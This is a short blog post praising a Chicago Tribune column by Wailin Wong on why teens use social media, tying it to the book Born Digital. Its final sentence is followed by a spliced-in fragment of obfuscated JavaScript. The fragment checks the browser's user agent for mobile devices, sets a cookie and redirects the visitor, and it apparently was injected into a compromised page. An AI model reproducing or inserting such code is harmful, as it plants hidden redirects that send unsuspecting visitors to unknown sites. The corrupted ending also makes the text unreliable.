Interesting Article by Chicago Tribune Columnist

After the previous entry about Born Digital, thought I would spotlight this really interesting article from Wailin Wong at the Chicago Tribune.

The article centers around a panel that Wong participated in at a local high school in which she helped to explain social media and its youth appeal to parents in the audience.

One of the most insightful parts of Wong’s article occurs when she writes:

“For many teens, a Facebook or MySpace profile is a vehicle for self-expression. The student on the panel said it’s like getting a page to decorate with music, photos and personal information. Social media help fulfill a desire for attention and expression. This need doesn’t go away in adulthood. The “25 Random Things” chain letter that recently invaded Facebook shows that older folks still want to appear interesting to their peers.”

This is a fascinating observation that strongly echoes points made in the book, Born Digital. The key to understanding social media is to think of it as a way in which younger generations shape their own identities.

Wailin Wong’s articles are very fascinating and I highly recommend that you check her column out on a regular basis. o|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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